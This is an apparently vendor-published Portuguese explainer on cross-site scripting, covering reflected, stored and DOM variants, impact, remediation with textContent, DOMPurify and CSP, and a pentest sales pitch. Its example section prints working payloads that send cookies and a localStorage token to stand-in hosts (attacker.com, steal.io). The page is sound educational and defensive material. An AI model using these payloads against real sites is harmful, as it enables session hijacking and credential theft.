XSS — Cross-Site Scripting
XSS permite injeção de JavaScript malicioso em páginas web. Veja as 3 variantes (Reflected, Stored, DOM-based) com exemplos reais e como identificar no código.
O Que É XSS
Cross-Site Scripting (XSS) é uma vulnerabilidade que permite injeção de scripts JavaScript maliciosos em páginas web visualizadas por outros usuários. Existem três variantes: Reflected (payload no URL/request), Stored (payload persistido no banco de dados) e DOM-based (manipulação do DOM via JavaScript sem interação com servidor). XSS Stored é a variante mais crítica — afeta todos os usuários que acessam a página comprometida.
Exemplo Real de Ataque
# XSS Reflected — payload na URL
GET /busca?q=<script>document.location='https://attacker.com/?c='+document.cookie</script>
# XSS Stored — payload persistido
POST /api/v1/comentarios
Content-Type: application/json
{"texto": "<img src=x onerror=fetch('https://steal.io/?s='+btoa(localStorage.getItem('token')))>"}
# XSS DOM — via fragment identifier
https://app.empresa.com/#<img src=x onerror=alert(document.domain)>Impacto no Negócio e Compliance
Roubo de sessão (cookies HttpOnly não mitigam XSS DOM), keylogging de formulários de pagamento, phishing sobreposto à página legítima, redirecionamento para malware. Em SaaS B2B: comprometimento de sessões de administradores pode levar a escalada de privilégios e acesso a dados de todos os tenants.
Como Remediar
// ❌ INSEGURO — renderização de HTML sem sanitização
element.innerHTML = userInput;
document.write(userInput);
// ✅ SEGURO — use textContent para texto puro
element.textContent = userInput;
// ✅ SEGURO — sanitização com DOMPurify para HTML necessário
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
// ✅ Backend: Content-Security-Policy header
// Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'Como a Veyronn Detecta Esta Vulnerabilidade
Testamos XSS em todos os campos de input, parâmetros de URL, headers (User-Agent, Referer), respostas de API refletidas em UI, e sink de DOM (innerHTML, document.write, eval). Usamos payloads polimórficos para bypassar WAFs.
Vulnerabilidades Relacionadas
Pronto para Contratar seu Próximo Pentest?
Adquira nossa avaliação pontual feita pelos melhores profissionais do mercado ou implemente o software da Veyronn 24/7.
